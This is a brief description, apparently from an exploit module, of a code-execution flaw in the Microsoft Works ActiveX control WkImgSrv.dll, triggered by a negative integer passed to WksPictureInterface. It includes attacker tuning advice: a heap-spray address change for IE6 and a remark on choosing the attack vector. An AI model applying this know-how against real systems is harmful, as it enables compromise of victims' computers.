Description

The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker to execute arbitrary code on a system. By passing a negative integer to the WksPictureInterface method, an attacker could execute arbitrary code on the system with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6. This control is not marked safe for scripting, please choose your attack vector carefully.
